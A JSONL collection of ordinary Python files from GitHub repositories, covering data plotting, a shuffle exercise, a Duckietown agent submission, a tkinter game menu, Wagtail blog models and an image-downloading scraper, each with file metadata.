{"seq_id": "9682901884", "text": "'''\n    plot World countries (csv2 -> Pandas -> plot)\n    \n    2020-07-07\n'''\nimport os\nimport math\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\nimport continent as co\n\ncontinent_colors = {\n'Europe':'blueviolet',\n'North America':'deepskyblue',\n'South America':'royalblue',\n'Asia':'springgreen',\n'Australia/Oceania':'gold',\n'Africa':'chocolate'}\n\ncsv2_path = './data/csv0/'\nplot_path = './data/plot/'\n\nfiles = os.listdir(csv2_path)\nfiles.sort()\n\nfor file in files:\n    country = file.split('.csv')[0]\n    read_csv = csv2_path+file\n    csv = pd.read_csv(read_csv)\n    cont = co.continents[country][0]\n    co_col = continent_colors[cont]\n\n    demil = csv[csv['Deaths /1M pop (Ave7)'] > .1]\n    demil0 = demil['Deaths /1M pop (Ave7)']\n    d0 = demil['Deaths Total(Ave7)']\n\n    Mpop0 = d0 /demil0\n    Mpop1 = Mpop0.values.tolist()\n\n    Mpop = Mpop1[-1:]\n\n    if(Mpop):\n        d = demil['Deaths Day(Ave7)'] /Mpop \n        x  = len(d.values.tolist())\n        X  = np.arange(x)\n\n        D = d.values.tolist() \n\n        if (country == 'Japan'):\n            plt.plot(X,D,color='red',linewidth='3',zorder=1)\n        else:\n            plt.plot(X,D,color=co_col,zorder=0)\n\n        try:\n            xx = X[-1]\n            yy = D[-1]\n        except IndexError:\n            print(xx,yy,country)\n\n        if (country == 'Japan'):\n            plt.text(xx, yy, country, fontsize=20)\n        else:\n            plt.text(xx, yy, country, fontsize=10)\n\nplt.legend(['Deaths/1M pop in '+country])\nplt.xlabel('Days')\nplt.ylabel('Number')\nplt.xlim(0,120)\nplt.ylim(0.01,20)\nplt.yscale('log')\nplt.grid(which=\"both\")\nplt.show()\nplt.close()\n", "repo_name": "IchiroYoshida/python_public", "sub_path": "covid/pom2/plotdeath2.py", "file_name": "plotdeath2.py", "file_ext": "py", "file_size_in_byte": 1638, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.listdir", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 31, "usage_type": "call"}, {"api_name": "continent.continents", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}]}
{"seq_id": "42864423185", "text": "from collections import deque\nT = int(input())\nfor t in range(T):\n    n = int(input())\n    q = list(input().split())\n    result = []\n    q1 = deque(q[:(n+1)//2])\n    q2 = deque(q[(n+1)//2:])\n    while q1:\n        result.append(q1.popleft())\n        if q2:\n            result.append(q2.popleft())\n    print(f'#{t+1}', *result)", "repo_name": "iblug/Baekjoon", "sub_path": "SWEA/D3/3499. 퍼펙트 셔플/퍼펙트 셔플.py", "file_name": "퍼펙트 셔플.py", "file_ext": "py", "file_size_in_byte": 325, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.deque", "line_number": 7, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 8, "usage_type": "call"}]}
{"seq_id": "71461296906", "text": "import gym\n# noinspection PyUnresolvedReferences\nimport gym_duckietown_agent  # DO NOT CHANGE THIS IMPORT (the environments are defined here)\nfrom duckietown_challenges import wrap_solution, ChallengeSolution, ChallengeInterfaceSolution, InvalidEnvironment\n\nimport numpy as np\nexpect_shape = (480, 640, 3)\n\ndef check_valid_observations(observations):\n    assert isinstance(observations, np.ndarray), type(observations)\n    if observations.shape != expect_shape:\n        msg = 'I expected size %s, while I got size %s' % (expect_shape, observations.shape)\n        raise InvalidEnvironment(msg)\n\n\n\ndef solve(params, cis):\n    # python has dynamic typing, the line below can help IDEs with autocompletion\n    assert isinstance(cis, ChallengeInterfaceSolution)\n    # after this cis. will provide you with some autocompletion in some IDEs (e.g.: pycharm)\n    cis.info('Creating model.')\n    # you can have logging capabilties through the solution interface (cis).\n    # the info you log can be retrieved from your submission files.\n\n    # BEGIN SUBMISSION\n    # if you have a model class with a predict function this are likely the only lines you will need to modifiy\n    from pytorch_model import PytorchTrainer\n    model = PytorchTrainer().load().eval()\n    # define observation and output shapes\n    #model = TensorflowModel(observation_shape=(None, 480, 640, 3),  # this is the shape of the image we get.\n    #                    action_shape=(None, 2),  # we need to output v, omega.\n    #                    graph_location=\"trained_models/behavioral_cloning\")  # this is the folder where our models are stored.\n    # END SUBMISSION\n    try:\n\n        # We get environment from the Evaluation Engine\n        cis.info('Making environment')\n        env = gym.make(params['env'])\n        # Then we make sure we have a connection with the environment and it is ready to go\n        cis.info('Reset environment')\n        observation = env.reset()\n        check_valid_observations(observation)\n\n        cis.info('Obtained first observations.')\n        # While there are no signal of completion (simulation done)\n        # we run the predictions for a number of episodes, don't worry, we have the control on this part\n        while True:\n            # we passe the observation to our model, and we get an action in return\n            action = model.predict(observation)\n            # we tell the environment to perform this action and we get some info back in OpenAI Gym style\n            observation, reward, done, info = env.step(action)\n            check_valid_observations(observation)\n            # here you may want to compute some stats, like how much reward are you getting\n            # notice, this reward may no be associated with the challenge score.\n\n            # it is important to check for this flag, the Evalution Engine will let us know when should we finish\n            # if we are not careful with this the Evaluation Engine will kill our container and we will get no score\n            # from this submission\n            if 'simulation_done' in info:\n                cis.info('Received simulation_done.')\n                break\n            if done:\n                cis.info('End of episode')\n                env.reset()\n\n    finally:\n        cis.info('Releasing CPU/GPU resources.')\n        # release CPU/GPU resources, let's be friendly with other users that may need them\n        #model.close()\n\n    cis.info(\"Graceful exit of solve().\")\n\n\n\n### Leave the following boilerplate code alone\n\nclass Submission(ChallengeSolution):\n    def run(self, cis):\n        assert isinstance(cis, ChallengeInterfaceSolution)\n\n        # get the configuration parameters for this challenge\n        params = cis.get_challenge_parameters()\n        cis.info('Parameters: %s' % params)\n\n        solve(params, cis)  # let's try to solve the challenge,\n\n        cis.set_solution_output_dict({})\n        cis.info('Finished.')\n\n\nif __name__ == '__main__':\n    print('Starting submission')\n    wrap_solution(Submission())\n\n### (end)", "repo_name": "dvidbruhm/gym-duckietown-IL", "sub_path": "solution.py", "file_name": "solution.py", "file_ext": "py", "file_size_in_byte": 4018, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.ndarray", "line_number": 10, "usage_type": "attribute"}, {"api_name": "duckietown_challenges.InvalidEnvironment", "line_number": 13, "usage_type": "call"}, {"api_name": "duckietown_challenges.ChallengeInterfaceSolution", "line_number": 19, "usage_type": "argument"}, {"api_name": "pytorch_model.PytorchTrainer", "line_number": 28, "usage_type": "call"}, {"api_name": "gym.make", "line_number": 38, "usage_type": "call"}, {"api_name": "duckietown_challenges.ChallengeSolution", "line_number": 77, "usage_type": "name"}, {"api_name": "duckietown_challenges.ChallengeInterfaceSolution", "line_number": 79, "usage_type": "argument"}, {"api_name": "duckietown_challenges.wrap_solution", "line_number": 93, "usage_type": "call"}]}
{"seq_id": "8033671043", "text": "import tkinter as tk\nfrom PIL import Image, ImageTk\nfrom time import strftime               #Sistem Saati\n\ndef elementlerOyunu():\n    import Elementler\n\ndef sesliRakamlarOyunu():\n    import SesliRakamlar\n\ndef renkleriBilOyunu():\n    import RenkleriBil\n\n\"\"\"Pencere Başlığında Gözüken Saatin Fonksiyonu\"\"\"\ndef saat():                         \n    string = strftime('%H:%M:%S')      \n    form.title(\"Blue Feather \"+string) \n    form.after(1000, saat)             \n\n\n#pencere\nform=tk.Tk()\nform.title(\"Blue Feather\")\nform.resizable(False,False)\nform.geometry(\"800x600+400+100\")\n\n#background pic--------------Arkaplanda Bulunan Hareketli Resim----------\n\ngif=[]                     \nfor i in range(120):       \n    gif.append(ImageTk.PhotoImage(Image.open(\"main\\\\\"+\"gif (\"+str(i)+\").jpg\")))\n\ngifnum=0\ndef bgGif():\n    global gifnum\n    lblbg.config(image=gif[gifnum])    \n    gifnum+=1                           \n    lblbg.after(50,bgGif)               \n\n    if gifnum==120:                   \n        gifnum=0\n\n#-----------------------------------------------------------------------\n\n\n\"\"\"Oyun Buttonlarının Tanımlanması, Yerleştirilmesi ve Resimlerinin Adresi\"\"\"\n\nlblbg=tk.Label(form,)\nlblbg.pack()\nbgGif()                \nsaat()                  \n\nelementlerBg=ImageTk.PhotoImage(Image.open(\"images\\\\element.jpg\"))\nrenklerbg=ImageTk.PhotoImage(Image.open(\"images\\\\colour.jpg\"))\nsesliRakamlarBg=ImageTk.PhotoImage(Image.open(\"images\\\\sesliRakamlar.jpg\"))\n\nElementOyun=tk.Button(form,text=\"\",image=elementlerBg,border=0,bg=\"white\",command=elementlerOyunu)\nElementOyun.place(width=75,height=75,x=form.winfo_screenwidth()/4-125,y=form.winfo_screenheight()/4+250)\n\nRenkOyun=tk.Button(form,text=\"\",image=renklerbg,command=renkleriBilOyunu)\nRenkOyun.place(width=75,height=75,x=form.winfo_screenwidth()/4+125,y=form.winfo_screenheight()/4+250)\n\nSesliRakamOyun=tk.Button(form,text=\"\",image=sesliRakamlarBg,command=sesliRakamlarOyunu)\nSesliRakamOyun.place(width=75,height=75,x=form.winfo_screenwidth()/4,y=form.winfo_screenheight()/4+250)\n\nform.mainloop()", "repo_name": "tolgasozbir/Python-Blue_feather_educational-games", "sub_path": "Blue Feather/Blue_feather.py", "file_name": "Blue_feather.py", "file_ext": "py", "file_size_in_byte": 2053, "program_lang": "python", "lang": "tr", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "time.strftime", "line_number": 16, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 22, "usage_type": "call"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 31, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 31, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 31, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 31, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 48, "usage_type": "call"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 53, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 53, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 53, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 53, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 54, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 54, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 54, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 54, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 55, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 55, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 55, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 55, "usage_type": "name"}, {"api_name": "tkinter.Button", "line_number": 57, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 60, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 63, "usage_type": "call"}]}
{"seq_id": "30129815323", "text": "\"\"\"\n# Models common for different blogs of the site\n\"\"\"\n\n# TODO: move these models into separate app?\n\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.db import models\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom taggit.models import TaggedItemBase\nfrom modelcluster.contrib.taggit import ClusterTaggableManager\nfrom modelcluster.fields import ParentalKey\n\nfrom wagtail.wagtailcore.models import Page, Orderable\nfrom wagtail.wagtaildocs.edit_handlers import DocumentChooserPanel\nfrom wagtail.wagtailimages.edit_handlers import ImageChooserPanel\nfrom wagtail.wagtailadmin.edit_handlers import FieldPanel, \\\n    InlinePanel, PageChooserPanel, StreamFieldPanel\nfrom wagtail.wagtailcore.fields import RichTextField, StreamField\nfrom wagtail.wagtailsearch import index\n\nfrom .streamfield_blocks import FullStreamBlock\n\n\nclass AbstractBlogIndexPage(Page):\n\n    class Meta:\n        abstract = True\n\n    intro = RichTextField(blank=True)\n\n    search_fields = Page.search_fields + (\n        index.SearchField('intro'),\n    )\n    content_panels = [\n        FieldPanel('title', classname=\"full title\"),\n        FieldPanel('intro', classname=\"full\"),\n    ]\n\n    subpage_types = ['home.UniversalBlogPage']\n\n    @property\n    def posts(self):\n        # Get list of live blog pages that are descendants of this page\n        posts = UniversalBlogPage.objects.live().descendant_of(self)\n        # Order by most recent date first\n        posts = posts.order_by('-date')\n        return posts\n\n    def get_template(self, request):\n        return \"home/abstract_blog_index_page.html\"\n\n    def get_context(self, request):\n        # Get posts\n        posts = self.posts\n\n        # Filter by tag\n        tag = request.GET.get('tag')\n        if tag:\n            posts = posts.filter(tags__name=tag)\n\n        # Pagination\n        page = request.GET.get('page')\n        paginator = Paginator(posts, 3)  # Show x posts per page TODO: adjust\n        try:\n            posts = paginator.page(page)\n        except PageNotAnInteger:\n            posts = paginator.page(1)\n        except EmptyPage:\n            posts = paginator.page(paginator.num_pages)\n\n        # Update template context\n        context = super(AbstractBlogIndexPage, self).get_context(request)\n\n        context['posts'] = posts\n        return context\n\n\nclass UniversalBlogPageRelatedLink(Orderable, models.Model):\n    \"\"\"\n    Common model needed for \"pages related links\" feature,\n    which is accessible when editing a UniversalBlogPage.\n    \"\"\"\n    title = models.CharField(max_length=255, help_text=\"Link title\")\n    link_external = models.URLField(\"External link\", blank=True)\n    link_page = models.ForeignKey(\n        'wagtailcore.Page',\n        null=True,\n        blank=True,\n        related_name='+'\n    )\n    link_document = models.ForeignKey(\n        'wagtaildocs.Document',\n        null=True,\n        blank=True,\n        related_name='+'\n    )\n    page = ParentalKey('home.UniversalBlogPage', related_name='related_links')\n\n    @property\n    def link(self):\n        if self.link_page:\n            return self.link_page.url\n        elif self.link_document:\n            return self.link_document.url\n        else:\n            return self.link_external\n\n    panels = [\n        FieldPanel('title'),\n        FieldPanel('link_external'),\n        PageChooserPanel('link_page'),\n        DocumentChooserPanel('link_document'),\n    ]\n\n\nclass UniversalBlogPagesTag(TaggedItemBase):\n    content_object = ParentalKey('home.UniversalBlogPage', related_name='tagged_items')\n\n\nclass UniversalBlogPage(Page):\n    \"\"\"\n    Blog page model used for different blog index models.\n    i.e. instance of this model may be child of any blog index.\n    \"\"\"\n    body = StreamField(FullStreamBlock())\n    date = models.DateField(\"Post date\")\n    feed_image = models.ForeignKey(\n        'wagtailimages.Image',\n        null=True,\n        blank=True,\n        on_delete=models.SET_NULL,\n        related_name='+'\n    )\n    intro = models.TextField(\n        verbose_name=_('intro'),\n        max_length=650,\n        help_text=_(\"Text which will be visible as short description of the post\"),\n        blank=True\n    )\n\n    search_fields = Page.search_fields + (\n        index.SearchField('body'),\n    )\n\n    tags = ClusterTaggableManager(through=UniversalBlogPagesTag, blank=True)\n\n    parent_page_types = ['home.UniversalBlogIndexPage', 'about.NetworkNewsBlogIndexPage',\n                         'home.UrbanBlogIndexPage', 'about.InitiativesBlogIndexPage']\n\n    @property\n    def blog_index(self):\n        # Find closest ancestor which is a blog index\n        return self.get_ancestors().type(AbstractBlogIndexPage).last()\n\n    def get_template(self, request):\n        return \"home/abstract_blog_page.html\"\n\n    content_panels = [\n        FieldPanel('title', classname=\"full title\"),\n        FieldPanel('date'),\n        FieldPanel('intro'),\n        StreamFieldPanel('body'),\n        InlinePanel('related_links', label=\"Related links\"),\n    ]\n\n    promote_panels = Page.promote_panels + [\n        ImageChooserPanel('feed_image'),\n        FieldPanel('tags'),\n    ]\n\n\nclass UniversalBlogIndexPage(AbstractBlogIndexPage):\n    \"\"\"\n    Used by editors to add new blogs to the site.\n    \"\"\"\n\n", "repo_name": "ipostolaki/urbana", "sub_path": "urbana/home/models/blogs.py", "file_name": "blogs.py", "file_ext": "py", "file_size_in_byte": 5249, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "wagtail.wagtailcore.models.Page", "line_number": 26, "usage_type": "name"}, {"api_name": "wagtail.wagtailcore.fields.RichTextField", "line_number": 31, "usage_type": "call"}, {"api_name": "wagtail.wagtailcore.models.Page.search_fields", "line_number": 33, "usage_type": "attribute"}, {"api_name": "wagtail.wagtailcore.models.Page", "line_number": 33, "usage_type": "name"}, {"api_name": "wagtail.wagtailsearch.index.SearchField", "line_number": 34, "usage_type": "call"}, {"api_name": "wagtail.wagtailsearch.index", "line_number": 34, "usage_type": "name"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.FieldPanel", "line_number": 37, "usage_type": "call"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.FieldPanel", "line_number": 38, "usage_type": "call"}, {"api_name": "django.core.paginator.Paginator", "line_number": 65, "usage_type": "call"}, {"api_name": "django.core.paginator.PageNotAnInteger", "line_number": 68, "usage_type": "name"}, {"api_name": "django.core.paginator.EmptyPage", "line_number": 70, "usage_type": "name"}, {"api_name": "wagtail.wagtailcore.models.Orderable", "line_number": 80, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 80, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 80, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 85, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 85, "usage_type": "name"}, {"api_name": "django.db.models.URLField", "line_number": 86, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 86, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 87, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 87, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 93, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 93, "usage_type": "name"}, {"api_name": "modelcluster.fields.ParentalKey", "line_number": 99, "usage_type": "call"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.FieldPanel", "line_number": 111, "usage_type": "call"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.FieldPanel", "line_number": 112, "usage_type": "call"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.PageChooserPanel", "line_number": 113, "usage_type": "call"}, {"api_name": "wagtail.wagtaildocs.edit_handlers.DocumentChooserPanel", "line_number": 114, "usage_type": "call"}, {"api_name": "taggit.models.TaggedItemBase", "line_number": 118, "usage_type": "name"}, {"api_name": "modelcluster.fields.ParentalKey", "line_number": 119, "usage_type": "call"}, {"api_name": "wagtail.wagtailcore.models.Page", "line_number": 122, "usage_type": "name"}, {"api_name": "wagtail.wagtailcore.fields.StreamField", "line_number": 127, "usage_type": "call"}, {"api_name": "streamfield_blocks.FullStreamBlock", "line_number": 127, "usage_type": "call"}, {"api_name": "django.db.models.DateField", "line_number": 128, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 128, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 129, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 129, "usage_type": "name"}, {"api_name": "django.db.models.SET_NULL", "line_number": 133, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 133, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 136, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 136, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 137, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 139, "usage_type": "call"}, {"api_name": "wagtail.wagtailcore.models.Page.search_fields", "line_number": 143, "usage_type": "attribute"}, {"api_name": "wagtail.wagtailcore.models.Page", "line_number": 143, "usage_type": "name"}, {"api_name": "wagtail.wagtailsearch.index.SearchField", "line_number": 144, "usage_type": "call"}, {"api_name": "wagtail.wagtailsearch.index", "line_number": 144, "usage_type": "name"}, {"api_name": "modelcluster.contrib.taggit.ClusterTaggableManager", "line_number": 147, "usage_type": "call"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.FieldPanel", "line_number": 161, "usage_type": "call"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.FieldPanel", "line_number": 162, "usage_type": "call"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.FieldPanel", "line_number": 163, "usage_type": "call"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.StreamFieldPanel", "line_number": 164, "usage_type": "call"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.InlinePanel", "line_number": 165, "usage_type": "call"}, {"api_name": "wagtail.wagtailcore.models.Page.promote_panels", "line_number": 168, "usage_type": "attribute"}, {"api_name": "wagtail.wagtailcore.models.Page", "line_number": 168, "usage_type": "name"}, {"api_name": "wagtail.wagtailimages.edit_handlers.ImageChooserPanel", "line_number": 169, "usage_type": "call"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.FieldPanel", "line_number": 170, "usage_type": "call"}]}
{"seq_id": "30721020662", "text": "# -*- coding: utf-8 -*- \nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib.ticker import MaxNLocator\nimport numpy as np\nimport math as m\nimport seaborn as sns; #sns.set()\nimport pandas as pd \nimport sys\nfrom datetime import datetime\nfrom matplotlib import cm\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\nfrom matplotlib.ticker import (MultipleLocator, FormatStrFormatter,\n                               AutoMinorLocator)\n\nfile='srbr.txt'\ndata=np.loadtxt(file,usecols=np.arange(0,2))\ny=data[:,1]\nx=data[:,0]\nfig,ax=plt.subplots()\nax.plot(x,y,'b',linewidth=0.75)\nax.xaxis.set_major_locator(MultipleLocator(2.5))\nax.xaxis.set_major_formatter(FormatStrFormatter('%1.1f'))\nax.xaxis.set_minor_locator(MultipleLocator(0.5))\n\nax.yaxis.set_major_locator(MultipleLocator(4))\nax.yaxis.set_major_formatter(FormatStrFormatter('%d'))\nax.yaxis.set_minor_locator(MultipleLocator(1))\nax.set_ylim(ymin=0)\nax.set_xlim(xmin=0)\nax.grid(b=True, which='major', color='k', linestyle='--',alpha=0.3)\n\n\nax.fill_between(x,y, where=(x>15.4)&(x<16.1),interpolate=True,color='red',alpha=0.3)\nax.text(15.8, 14, r'ZrK$\\alpha$', fontsize=10,rotation=90)\n\nax.fill_between(x,y, where=(x>17.1)&(x<17.9),interpolate=True,color='blue',alpha=0.3)\nax.text(18, 44, r'ZrK$\\beta$', fontsize=10,rotation=90)\n\nax.fill_between(x,y, where=(x>20.7)&(x<21.6),interpolate=True,color='green',alpha=0.3)\nax.text(21.2, 22, r'PbK$\\alpha$', fontsize=10,rotation=90)\n\nax.fill_between(x,y, where=(x>24.7)&(x<25.5),interpolate=True,color='yellow',alpha=0.3)\nax.text(22, 35, r'AgK$\\alpha$', fontsize=10,rotation=90)\n\nax.fill_between(x,y, where=(x>31.7)&(x<32.5),interpolate=True,color='pink',alpha=0.3)\nax.text(24.8, 15.5, r'AgK$\\beta$', fontsize=10,rotation=90)\nax.text(25.4, 17.5, r'SnK$\\alpha$', fontsize=10,rotation=90)\n\nax.fill_between(x,y, where=(x>21.7)&(x<22.5),interpolate=True,color='fuchsia',alpha=0.3)\nax.text(32, 10, r'BaK$\\alpha$', fontsize=10,rotation=90)\n\n#ax.fill_between(x,y, where=(x>23.6)&(x<23.8),interpolate=True,color='magenta',alpha=0.3)\n#ax.fill_between(x,y, where=(x>28.4)&(x<28.5),interpolate=True,color='magenta',alpha=0.3)\n\n\n\n\nplt.xlabel('Energia [keV]')\nplt.ylabel('Zliczenia [cps]')\n\nfig.set_size_inches(12.8,7.2)\n\nplt.savefig(\"ayya.png\", bbox_inches = 'tight',\n    pad_inches = 0)\n\nplt.show()", "repo_name": "0Kasperski0/Other", "sub_path": "solidstatephys_lab/srebro.py", "file_name": "srebro.py", "file_ext": "py", "file_size_in_byte": 2322, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.loadtxt", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.ticker.FormatStrFormatter", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.ticker.FormatStrFormatter", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}]}
{"seq_id": "25242004535", "text": "# -*- coding: utf-8 -*-\n# @Time    : 2017/9/17 23:48\n# @Author  : cmsll\n# @Site    : \n# @File    : desktop.py\n# @Software: PyCharm\n\n\nimport requests\nimport os\nfrom bs4 import BeautifulSoup\nimport common\n\n\ndef get_image_links(html):\n    soup = BeautifulSoup(html, 'html.parser')\n    imgs = soup('img', class_='card-img-top round-0')\n    # print(imgs)\n    image_links = []\n    for img in imgs:\n        image_link = img.get('source')\n        image_links.append(image_link)\n    return image_links\n\n\ndef save_image(image_link):\n    content = requests.get(image_link, timeout=10).content\n    root = 'g://img//timeroute//'\n    if not os.path.exists(root):\n        os.makedirs(root)\n    path = root + image_link.split('/')[-1]\n    if not os.path.exists(path):\n        with open(path, 'wb') as f:\n            f.write(content)\n            f.close()\n        print(path + ' saved sucessfully.')\n    else:\n        print(path + ' has already exist!')\n\nfor i in range(0, 805):\n    url = 'http://timeroute.cn/desktop/page/%d' % i\n    print(url)\n    html = common.get_html_text(url)\n    image_links = get_image_links(html)\n    for image_link in image_links:\n        save_image(image_link)", "repo_name": "czhwu/PythonSpider", "sub_path": "timeroute/desktop.py", "file_name": "desktop.py", "file_ext": "py", "file_size_in_byte": 1171, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "bs4.BeautifulSoup", "line_number": 16, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "common.get_html_text", "line_number": 43, "usage_type": "call"}]}
